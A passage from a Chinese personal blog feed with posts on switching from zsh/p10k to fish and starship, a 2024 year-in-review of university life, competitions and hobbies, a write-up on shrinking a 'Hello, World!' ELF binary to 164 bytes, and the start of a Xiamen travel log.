&lt;p&gt;我曾经使用 p10k + zinit，它很好，我很喜欢它。但是 p10k 已经打出了 「THE PROJECT HAS VERY LIMITED SUPPORT」 ，所以也许搬家总是好的。而在 fish，我则在尝试 starship。&lt;/p&gt;
&lt;p&gt;但是 fish 则没有那么完善，fish 自带良好的 tab 补全，但是代价是没有人试图做的更好。我很喜欢 fzf-tab 插件，他能允许你在 tab 补全时多选。fish 当然也有 fzf 插件，也有人在尝试做这个事情，但是看起来由于「searching completions is better left to the fish-shell devs」被 closed 了（&lt;a href=&quot;https://github.com/PatrickF1/fzf.fish/pull/293&quot;&gt;https://github.com/PatrickF1/fzf.fish/pull/293&lt;/a&gt;）。而至于 fish 自己，则有一个 10 年老 issue： &lt;a href=&quot;https://github.com/fish-shell/fish-shell/issues/1898&quot;&gt;https://github.com/fish-shell/fish-shell/issues/1898&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;另一个问题是 git status，p10k 使用 git_status 来获取 git status，并且使用 lazy load 手段来避免在过大项目时的卡顿。同时，他有良好的情况处理和不同颜色的高亮，比如显示 rebase cherry-pick merge 的状态。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/02/image.png&quot; alt=&quot;P10K 和 Starship 的差距&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;P10K 和 Starship 的差距&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;starship 在速度上到也还好，但缺乏对状态机的提示。我恰好这两天在处理一次大型的合并操作（&lt;a href=&quot;https://github.com/guttatus/rustsbi/pull/1&quot;&gt;https://github.com/guttatus/rustsbi/pull/1&lt;/a&gt;），在 fish 下这简直是灾难，我只能选择临时切回 zsh 来完成相关工作。&lt;/p&gt;
&lt;p&gt;我能理解为什么 P10K 开发者打出「LIMITED SUPPORT」，一方面 P10K 在这么多年的开发下已经足够好，另一方面 zsh 也许是一个好的 shell，但是绝对不是一个好的语言，维护这样大的项目需要耗费相当大的精力。&lt;/p&gt;
&lt;p&gt;至于 Fish，看起来他们最近在尝试从 Python 迁移到 Rust，而他们的 Rust 还在早期阶段，似乎并不是很能接受贡献。而我也不清楚如果我给 Python 的贡献，是否会迁移到 Rust 版本。而 Starship，我也许会在这两天尝试做一些修改，他们并不是用 gitstatusd 而是 gitoxide，也许可能会有做不到的事情。&lt;/p&gt;
&lt;p&gt;按理来说，我的生产生活基于这些项目和工具，我应该积极投身到相关维护中去。只可惜自己能力时间有限，只能感谢各位开发者的贡献。&lt;/p&gt;
&lt;p&gt;本文只是吐槽本人在使用 fish 时遇到的困难，并非对于相关项目有意见。&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>熙熙攘攘又一年</title><link>https://blog.woshiluo.com/posts/2025/02/%E7%86%99%E7%86%99%E6%94%98%E6%94%98%E5%8F%88%E4%B8%80%E5%B9%B4/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2025/02/%E7%86%99%E7%86%99%E6%94%98%E6%94%98%E5%8F%88%E4%B8%80%E5%B9%B4/</guid><pubDate>Thu, 06 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;其实不是特别有些年终总结的喜好，本博客几年来应该是没有写过的。但是上了大学之后发现生活节奏没有那么固定了，一段时间有一段时间的重点。有的时候感觉总是感觉变得太多太快，可能确实需要写点闲杂琐碎，留下一点记忆。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;特别是去年暑假没有回家，也算是理解为何说在外「漂荡」。由于回家还是可预期的，父母也疑似没有我过得更开心了，所以没有强烈的「思乡」之情，可无根的感觉总是环绕在身旁。看起来已经在这个城市生活许久，却又有太多小细节提醒到自己不是这里长大的。至于自己毕业后何去何从，就更不已是城市的问题了。&lt;/p&gt;
&lt;p&gt;AI 带来的冲击一轮接着一轮。作为算是科班出生的人，大语言模型工作原理也算是知道个皮毛。原理说来简单，可也没人能解释清楚为什么他的准确率能到这个范围。LLM 能处理的问题越来越多，说好是又解决了一个问题，说坏就是随便扩展一下就开始胡言乱语了。可问题还是那个问题 -- 没人知道为什么对，没人知道为什么错。你甚至不知道他是不是算能思考了，因为你也不知道什么是所谓「思考」。&lt;/p&gt;
&lt;p&gt;似乎琐碎太多，是时候进入正文了。&lt;/p&gt;
&lt;h2&gt;生活&lt;/h2&gt;
&lt;p&gt;感觉去年最失败的事情就是在生活上完全没有平衡。别说身体健康，心理健康也往往在线上徘徊。其实有的时候说「都是 XCPC 害的」真不是一句笑谈。上半年的身心健康水平显著优于下半年。&lt;/p&gt;
&lt;p&gt;感觉心理健康其实是身体健康的前提，你在关心你的身体健康的前提是你认为你还有明天。&lt;/p&gt;
&lt;h3&gt;ACGN&lt;/h3&gt;
&lt;p&gt;去年去了上海 6 次，4 次都是 ACGN 相关。我甚至一度怀疑我去年我在上海的时间比在乌鲁木齐长（当然，其实没有）。&lt;/p&gt;
&lt;p&gt;一月份去了齐藤朱夏上海演唱会。细算算是自己第二次去这种类型的活动，演出效果和氛围非常好，也算是初步认识了一轮日式应援。当然然并卵，我每次都是在旁边现学现卖。&lt;/p&gt;
&lt;p&gt;五一去的是 DizzyMarket &amp;amp; 逆转裁判联动咖啡店。然后和初中同学一天随机游走，大学同学一天随机游走。DM 是好活动啊，今年如果有的话肯定还是要考虑再去的。同人音乐其实是一个很玄妙的圈子，一方面对于这类作品的鉴赏本身就有很强烈的主观意愿，另一方面圈子也相对「圈地自萌」，不太有声势浩大的情况。所以能有像 DM 这样的活动还是很不容易的，希望能接着办下去！&lt;/p&gt;
&lt;p&gt;七月则是 Bilibili World 和 Bilibili Macro Link。大家年年说药丸，但是这不是又办下来了（笑）。整体体验也是非常好的，另一方面也算是初次尝试了合宿！认识了一些新朋友，也算是意外之喜。这次专门 ALL IN BML 最前排，获得非常美好的体验。不过今年应该是不会了，去不去 BML 都要看节目单了，当然好的话还是会去试试。&lt;/p&gt;
&lt;p&gt;一同参加的还有洛天依同人生日会（上海）、小闹一场、PSP 粉丝聚餐。禾念这个生日会真的搞得稀烂，据说演唱会搞得不错，但是我没去（哭腔）。小闹搞得非常不错，能够见到 ilem 老师真是意外之喜。PSP 粉丝聚餐有一种神秘组织的美感，希望今年还能再有！很后悔的是这次过去没带 call 棒，下次只要是 ACGN 相关活动都要带个。&lt;/p&gt;
&lt;p&gt;十二月则是和室友纯粹的随机游走，由于错误的时间安排，一开始变成了在上海深夜随机游走（我怎么总是在随机游走）。其实本意说是买买买，最后也没买几个东西，倒是算是放松了下被 XCPC 紧绷的精神，以及吃了室友顿饭。&lt;/p&gt;
&lt;p&gt;在上海之外还有一次八月底的 LoveLive 动画十周年的 Live，活动名太长了，我已经忘记了。能够近距离见到 Emitn 和 Pile 当然是好的，能够听到缪斯的 Live 当然也是好的。Live 后随机舞蹈环节当然也是非常激情。不过这一切倒是更想在提醒自己已经不在流行了，不再是动漫里主角的年岁，热爱的企划，观看的动漫都早已不是时下热门了。&lt;/p&gt;
&lt;h3&gt;旅游&lt;/h3&gt;
&lt;p&gt;算得上纯粹的旅游有两次：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;江苏双层列车运转&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;清明厦门游记&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两次下来都非常令人愉悦。厦门的游记就在本博客，感觉清明其实是一个正确的时机，人和气候都刚刚好，加上充分的随机游走，可以获得非常好的体验！双层列车运转则更让人兴致盎然，一方面这其实是一个周末小旅行，甚至只花了一天时间，另一方面则非常的充实，非常感谢高中同学的招待！&lt;/p&gt;
&lt;p&gt;这两次旅行都是非常典型的「说走就走」，很遗憾下半年几乎失去了这样的心力。&lt;/p&gt;
&lt;p&gt;而顺路旅游的就多一点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;重庆（CCPC）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;广州（缪动画十周年 Live）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;昆明（ICPC）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重庆市的三维当然不是吹的。第一天试图用腿对抗，虽然成功了，但是人也老实了，之后就乖乖打车了。&lt;/p&gt;
&lt;p&gt;广州则是久违的吃了顿早茶，珠三角和长三角城市的感觉有一种微妙的差异，也许是长三角少了几分市井气息？不过说句难听的，市井气息有时候则更像是缺乏维护的代名词，杭州的市政水平确实是全国领先了。&lt;/p&gt;
&lt;p&gt;昆明其实也算不上旅游，用脚丈量了云南大学，顺带吃上了菌子火锅，还去了花卉市场！第一次见到这么多的花，可惜我实在是缺乏审美，难以对花评头论足。&lt;/p&gt;
&lt;h3&gt;本地&lt;/h3&gt;
&lt;p&gt;说是本地，其实更是「驻地」，我只是驻扎在杭州而已。但是或多或少的还是游走过一点。&lt;/p&gt;
&lt;p&gt;上半年有过杭州地铁 19 号线运转，是一次非常有趣的体验！不管是咖啡店还是 19 号线本身，以及杭州西站都令人记忆犹新。值得一提的是杭州西站应该会承担越来越多的客运任务，也许今年可以去杭州西运转了。（不过沪杭最好还是能在杭州东，这样去上海还是很方便（然而显然不以我的意志为转移））&lt;/p&gt;
&lt;p&gt;下半年的话，得益于 CP30 在杭州举办，我能够足不出户的面基到不少网友，lazyman，神里流派，hobr，以及 FH 云彩和他的朋友。我也顺带拜托云彩和彼岸学姐买到了一些专辑和同人刊物。&lt;/p&gt;
&lt;p&gt;以及去了两次西湖，两次楼外楼，吃了两次西湖醋鱼。话说回来，西湖醋鱼并没有说的那么夸张的难吃，不过也确实一般就是了。（感谢队友的馈赠！）&lt;/p&gt;
&lt;h2&gt;技术&lt;/h2&gt;
&lt;p&gt;说是技术，其实也没多少技术含量。&lt;/p&gt;
&lt;h3&gt;OS &amp;amp; ISA&lt;/h3&gt;
&lt;p&gt;上半学年做了 NJU PA，加入了一生一芯。&lt;/p&gt;
&lt;p&gt;PA 其实现在回过头来看难度还是比较有限的，不过对当时的我还是造成了一定的冲击。不得不说是一门很好的课程，值得学习。&lt;/p&gt;
&lt;p&gt;一生一芯则更为困难，一方面，数字电路，或者说芯片设计相关远比一般的程序要复杂，另一方面，一生一芯的讲义则显然或多或少的挖了些坑，虽然确实能让人有所收获，但也毋庸置疑增加了难度。&lt;/p&gt;
&lt;h3&gt;RustSBI&lt;/h3&gt;
&lt;p&gt;得以于小简学姐（确信）的推荐，我申请 RustSBI 的实习。其实一开始我是很忐忑的，我一方面缺乏嵌入式的相关知识，另一方面对于 Rust 裸机开发也了解甚少。不过学姐说总要试试的，于是我就去试了。当然也非常感谢能放我过面试。&lt;/p&gt;
&lt;p&gt;在 RustSBI 的工作还是非常有趣的，一方面我确实对这种偏系统方向的感兴趣，另一方面和 Rust 打交道也算得上妙趣横生。今年应该也会接着实习，希望能够有更多有趣的学习。&lt;/p&gt;
&lt;h3&gt;CTF&lt;/h3&gt;
&lt;p&gt;摆。&lt;/p&gt;
&lt;p&gt;去年 HGAME 也许是我唯一一个认真打完全程的比赛，然而 HGAME Final 拼劲全力也未能战胜 Mantle 大神。协会的其他比赛我则比较随性，基本上是对着 MISC 题猛开。不过也算不上没有贡献就是了（？）。&lt;/p&gt;
&lt;p&gt;参与了 D3CTF 相关功能，不过说实话感觉就是当了两天厨子。&lt;/p&gt;
&lt;p&gt;今年可能也好不到哪去（小声）。&lt;/p&gt;
&lt;h3&gt;前后端&lt;/h3&gt;
&lt;p&gt;这一学年成为了杭助前端部的部长！（然而很惭愧，几乎没做什么大事情）。&lt;/p&gt;
&lt;p&gt;我们改进了前端的面试方法，也对 cinnamon 进行了日常维护，尽力了。&lt;/p&gt;
&lt;p&gt;后端相关今年几乎没有涉及，不过在维护前端的时候也确实很容易修到后端就是了。&lt;/p&gt;
&lt;h3&gt;算法竞赛&lt;/h3&gt;
&lt;p&gt;好吧，是最不想谈的部分。&lt;/p&gt;
&lt;p&gt;在经过了 7-8 月永无止尽的多校后，终于正式进入了赛季。事实上我们队从多校中期直到第一次正式比赛前都完全没有金牌队的状态，然后最后还是拿了一块金牌。非常感谢队友和自己的努力挣扎！&lt;/p&gt;
&lt;p&gt;感觉自己的队友们还是很好的，也没有谴责我到处摸鱼划水。不过按照杭电的分队模式，今年就是再战也不可能一个队了，那还是退役的好。&lt;/p&gt;
&lt;p&gt;XCPC 是不想再写退役录了。不过说实话，一开始对于 XCPC 的精神几乎是 OI 的延续，不过后来还是有很多改变。团队比赛有团队比赛的乐趣，如果有后人想打 XCPC 的话，还是建议把 ta 当一个全新的比赛来看吧。&lt;/p&gt;
&lt;h3&gt;杂项&lt;/h3&gt;
&lt;p&gt;参与了网络与计算协会和创建和运行，我们已经成功的在校内运行了一个镜像站了！这一部分比较有意思的事同步的调度是全 shell script 的，感觉也是一个有趣的尝试了。&lt;/p&gt;
&lt;p&gt;去 RISCV 中国峰会猛猛旋了茶歇，然后了解了不少有趣的内容。当然，那个时候我还没有想到我会在之后的实习工作中和 RISCV 打这么深的交道。&lt;/p&gt;
&lt;p&gt;去了一趟 HZLUG 的线下活动，之后的两次活动一次则是因为在广州看 LIVE，另一次则是疯狂期末周，遗憾错过。&lt;/p&gt;
&lt;h2&gt;娱乐&lt;/h2&gt;
&lt;h3&gt;电影&lt;/h3&gt;
&lt;p&gt;线下的话只看过「你想活出怎样的人生」，很好看，整个故事有明显的隐喻和反战思想。感叹宫崎骏老爷子宝刀未老。不过说实话，有点太过意识流了。&lt;/p&gt;
&lt;p&gt;线上的话也没看多少，不过可以推荐一下「路人女主的养成方法 ♭」和「飞驰人生2」。丸户老贼的功底还是很深厚的。现在的作品感觉连党争都写不明白，更别提作品的深度了。「飞驰人生2」的话，其实剧本还是有诸多槽点，但是看的时候其实不会这么严谨的推敲，观感还是很好的。&lt;/p&gt;
&lt;h3&gt;番剧&lt;/h3&gt;
&lt;p&gt;答案是，其实也啥都没看。&lt;/p&gt;
&lt;p&gt;基本上就是 NEW GAME 翻来覆去的看，没有什么新意。一直说想重新看一遍 LoveLive！ 但是已经没有勇气去看了。&lt;/p&gt;
&lt;p&gt;热门番剧那些梗和同人我是没少见到，但是番倒是真没看。&lt;/p&gt;
&lt;h3&gt;电视剧&lt;/h3&gt;
&lt;p&gt;日剧看了些杂七杂八的，没有什么值得列出来的。日剧的德行一直是那样，足够细腻。&lt;/p&gt;
&lt;p&gt;美剧的话，其实就是星际迷航系列了。基本上去年新出的我都看了。星际迷航系列光靠设定就足够吸引我了，而且除了发现号，别的剧情也都还算可以。值得推荐。&lt;/p&gt;
&lt;h3&gt;小说&lt;/h3&gt;
&lt;p&gt;我本来以为自己看了不少厕纸，但是回头一掐发现也没多少。&lt;/p&gt;
&lt;p&gt;值得推荐的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;車站裡的神明大人&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;怪人的沙拉碗&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这两部一个短篇一个还在连载。我个人本就比较喜欢车站来来往往中的变与不变，而前者很突出的描绘了这点。平坂読老师则是继续稳定发力，在无厘头轻喜剧中夹杂着深意。&lt;/p&gt;
&lt;h3&gt;漫画&lt;/h3&gt;
&lt;p&gt;这个一掐发现自己看的真的全是厕纸，没啥好说的了。&lt;/p&gt;
&lt;h3&gt;游戏&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;星露谷&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;城市天际线 1 &amp;amp; 2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;东方夜雀食堂&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;图灵完备&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;节奏医生&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基本上都是老朋友了。图灵完备感觉真是数电入门好游戏。节奏医生的表现力非常好，推荐喜欢音游的同志都可以试试。&lt;/p&gt;
&lt;h2&gt;结&lt;/h2&gt;
&lt;p&gt;回过头来看，其实这一年还是干了不少事情的。不过总感觉自己忙东忙西，看着人流熙熙攘攘，却又找不到落脚点。&lt;/p&gt;
&lt;p&gt;希望新的一年能够去写更多有意思的代码，做更有意思的事情，看更有趣的风景。&lt;/p&gt;
&lt;p&gt;当然，最重要的是，地球和平，Love &amp;amp; Peace。&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>一次有趣的尝试 -- 最小化 Hello，World</title><link>https://blog.woshiluo.com/posts/2024/04/%E4%B8%80%E6%AC%A1%E6%9C%89%E8%B6%A3%E7%9A%84%E5%B0%9D%E8%AF%95-%E6%9C%80%E5%B0%8F%E5%8C%96-helloworld/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/04/%E4%B8%80%E6%AC%A1%E6%9C%89%E8%B6%A3%E7%9A%84%E5%B0%9D%E8%AF%95-%E6%9C%80%E5%B0%8F%E5%8C%96-helloworld/</guid><pubDate>Wed, 24 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 起因&lt;/h2&gt;
&lt;p&gt;计算机系统导论课上老师说可以内联汇编来尽可能减小 Hello，World！的大小。&lt;/p&gt;
&lt;p&gt;我觉得既然要做，不如就做到极致。何不试试直接写汇编呢！&lt;/p&gt;
&lt;h2&gt;1 汇编的尝试&lt;/h2&gt;
&lt;p&gt;直接用 &lt;code&gt;as&lt;/code&gt; 有点不理想，因为没有 &lt;code&gt;db&lt;/code&gt; 用来往文件里写字符串。&lt;/p&gt;
&lt;p&gt;不妨试试 &lt;code&gt;nasm&lt;/code&gt;，我们只需要一次 &lt;code&gt;write&lt;/code&gt; 和一次 &lt;code&gt;exit&lt;/code&gt;，很容易编出这样的 asm：&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;section.text:

global _start

data db &quot;Hello, World!&quot;, 0

_start:
    xor eax, eax
    add eax, 1
    mov edi, eax
        mov rdx, 13
    mov esi, data
    syscall

    mov eax, 0x3C
    mov rdi, 0
    syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm -f ELF64 hello.s -o hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编出来的文件没有可执行权限，&lt;code&gt;+x&lt;/code&gt; 后运行一下。然后报错了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zsh: exec format error: ./hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现文件并没有被 link 过！让 ld 来链接一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ld -g ./hello -o ./hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后程序成功运行了，我们来看看多大。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rwxr-xr-x 1 woshiluo woshiluo 4.7K Apr 24 13:38 hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 链接的问题&lt;/h2&gt;
&lt;p&gt;怎么这么大！这很奇怪，我们只有几行汇编指令，这么大的文件是从哪里来的呢？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;readelf&lt;/code&gt; 可以看到，&lt;code&gt;ld&lt;/code&gt; 贴心的为我们添加了 bss 段等 padding，但是我们这里并不需要。&lt;/p&gt;
&lt;p&gt;怎么办呢？其实我们可以考虑自己构建一个合法 ELF 结构。&lt;/p&gt;
&lt;p&gt;而我们自然不是第一个这么想的，所以这里有一个前人的轮子：&lt;a href=&quot;https://github.com/tchajed/minimal-elf&quot;&gt;https://github.com/tchajed/minimal-elf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;那么我们很成功的得到了一个 210B 大小的可执行文件！&lt;/p&gt;
&lt;h2&gt;3 压缩，再压缩&lt;/h2&gt;
&lt;p&gt;x86 是变长指令集。我们可以换换 asm 实现来进一步压缩。&lt;/p&gt;
&lt;p&gt;那么首先是如何置 1，先 xor 后 inc 是比直接 mov 要短的。&lt;/p&gt;
&lt;p&gt;mov 也可以砍一刀，我们可以向 al mov，这样会断不少。&lt;/p&gt;
&lt;p&gt;syscall 是比较长的，我们可以 jmp 到一个 syscall，节省空间。&lt;/p&gt;
&lt;p&gt;那么我们可以得到这样的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let mut a = CodeAssembler::new(64)?;
let mut b = a.create_label();
let mut c = a.create_label();
a.xor(rax, rax)?;
a.inc(al)?;
a.xor(rdi, rdi)?;
a.inc(edi)?;
a.lea(rsi, ptr(b))?;
a.xor(rdx, rdx)?;
a.mov(dl, 13)?;
a.set_label(&amp;amp;mut c)?;
a.syscall()?;
a.mov(al, 0x3C)?;
a.xor(rdi, rdi)?;
a.jmp(c)?;
a.set_label(&amp;amp;mut b)?;
a.db(b&quot;Hello, World!&quot;)?;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样一来，我们就有 164B 大的 Hello，World！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rwxr-xr-x 1 woshiluo woshiluo 164 Apr 24 13:48 tiny
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 附&lt;/h2&gt;
&lt;p&gt;上述文件的 strace：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ strace.py ./tiny
execve(/tmp/minimal-elf/tiny, [&apos;/tmp/minimal-elf/tiny&apos;], [/* 40 vars */]) = 710265
Hello, World!write(1, &apos;Hello, World!&apos;, 13)            = 13 (0x000000000000000d)
exit(0)
*** Process 710265 exited normally ***
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;似乎存在一些优化的可能性，ELFHeader 里有一些 padding 也许可以活用。而如果考虑直接输出文件名的话，也许可以做到更优。&lt;/p&gt;
&lt;p&gt;不过 ELFHeader + ProgrmaHeader 都有 128B 了，能做的优化空间也不大了。&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>清明厦门游记</title><link>https://blog.woshiluo.com/posts/2024/04/%E6%B8%85%E6%98%8E%E5%8E%A6%E9%97%A8%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/04/%E6%B8%85%E6%98%8E%E5%8E%A6%E9%97%A8%E6%B8%B8%E8%AE%B0/</guid><pubDate>Sun, 07 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;动机&lt;/h2&gt;
&lt;p&gt;这段时间糟心事一堆，比如什么因体测痛失一等奖学金，什么 XCPC 在校内连省赛名额都打不到，亦或是越来越听不懂的数分高代和从来没有听懂过的大物。&lt;/p&gt;
&lt;p&gt;虽然这些问题说到底就是菜就多练，但是发生了还是让人很难过。&lt;/p&gt;
&lt;p&gt;所以在清明期间出去散散心是一个早就有预谋的事情，但是去厦门则不是。&lt;/p&gt;
&lt;p&gt;本来的计划是，杭州市内晃晃，最多到上海或者浙江省内乱晃，当日去当日回。&lt;/p&gt;
&lt;p&gt;不过清明前几天整了张交通联合的实体卡。一看发卡地是厦门 e 通卡。一下子回想起高三网课时期，每天都在听 &lt;a href=&quot;https://www.bilibili.com/video/av687789067/&quot;&gt;一道厦门&lt;/a&gt; 写作业，非常向往去厦门看海。内心的欲望点起来就不会轻易熄灭呢。&lt;/p&gt;
&lt;p&gt;与此同时，学校发布了清明节多放一天的消息。掐指一算，便感天时地利人和。订票，订酒店，出发！&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;Day -1&lt;/h2&gt;
&lt;p&gt;尽管我没有想翘工程伦理，但是一觉醒来已经下课了。于是就想着连写作与沟通一同翘掉。&lt;/p&gt;
&lt;p&gt;不过 mantle 师傅指出，明天就放假了，万一一对一点名就不好玩了。于是还是去了。当然最后还是没有点名。&lt;/p&gt;
&lt;p&gt;在经过叙事逻辑的轰炸后，回到寝室接着调 PA。在成功让两个 user process 跑起来后，一看表惊觉已经 2130 了！在飞速打包完行李后，便冲出宿舍去不知名小教室过夜 -- 以便能够赶上第二天 0700 的高铁。&lt;/p&gt;
&lt;h2&gt;Day 0&lt;/h2&gt;
&lt;p&gt;在不知名小教室接着写 PA，糊出来了多前台用户切换。于是就算是写完 PA4 了，选做任务什么的就交给未来的 woshiluo 吧。&lt;/p&gt;
&lt;p&gt;被防御性定下的 0530 的闹钟干醒。赶首班地铁前往杭州东站。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240402_220434249.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;清晨的文泽路地铁口&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了地铁站后发现还有一点点点点时间，于是就决定前往和 ch405 师傅前往全家买点盒饭。&lt;/p&gt;
&lt;p&gt;刚到检票口就听到了「即将开始检票」的广播，然后一扭头发现已经开始检票了……&lt;/p&gt;
&lt;p&gt;检票，吃完盒饭，便开始闭目养神。迷迷糊糊起来了三次，发现火车停在同一个站点，意识到事情并不对劲。&lt;/p&gt;
&lt;p&gt;打开手机发现 mantle 师傅问我你还好吗，一问才发现他火车晚点了。我才发现不是我睡眠质量不好，而是火车趴窝了！打开社交媒体一看，台湾地震并且影响范围较大。靠近台湾的几个铁路局均有部分路段停运。那就没有什么办法了，接着睡觉。&lt;/p&gt;
&lt;p&gt;在漫长的等待过后，列车终于恢复运行，但是速度较慢。一开始 12306 上还写着「晚点约 263 分钟」，后来直接变成晚点待定了。&lt;/p&gt;
&lt;p&gt;作为晚点的补偿，列车上分发了八宝粥和矿泉水。虽然没啥用，但是起码不用考虑吃饭的问题了。&lt;/p&gt;
&lt;p&gt;在经过了 14h 后，我终于踏上了厦门北站的站台。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240403_114542049.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;厦门北站&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;来到地铁站后，我发现我并没有查阅过如何前往自己所订的旅馆。不查不知道，一查吓一跳。竟要从厦门地铁一号线的一端坐到另一端。好吧，看起来在轨道上摇晃的时间还远远没有结束。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240403_115215431.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;是的，我的旅馆在镇海路。&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;出了地铁站发现地铁站附近分外繁荣，便随便买了点小吃。&lt;/p&gt;
&lt;p&gt;到了酒店之后发现自己并没有买过上鼓浪屿的船票...打开购票小程序一看只服务到 2300，一看表发现正是 2300。于是就睡觉了。&lt;/p&gt;
&lt;h2&gt;Day 1&lt;/h2&gt;
&lt;p&gt;来到了一个城市，怎么能不试试这里的特色食物呢！&lt;/p&gt;
&lt;p&gt;由着这样的思想指导，便打算今天去吃姜母鸭和沙茶面。&lt;/p&gt;
&lt;p&gt;姜母鸭选择了百家春姜母鸭。前往百家春姜母鸭自然要经过中山公园。景色相当不错，还有诸多老爷爷老太太在次健身娱乐。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_014111283.RAW-01.MP_.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;中山公园一角&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;于是满怀期待的我到了百家春姜母鸭，发现店开了，但是没有完全开。只做外卖，堂食要到 12 点才行。&lt;/p&gt;
&lt;p&gt;前思后想，我决定打包一份，然后在中山公园吃掉。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
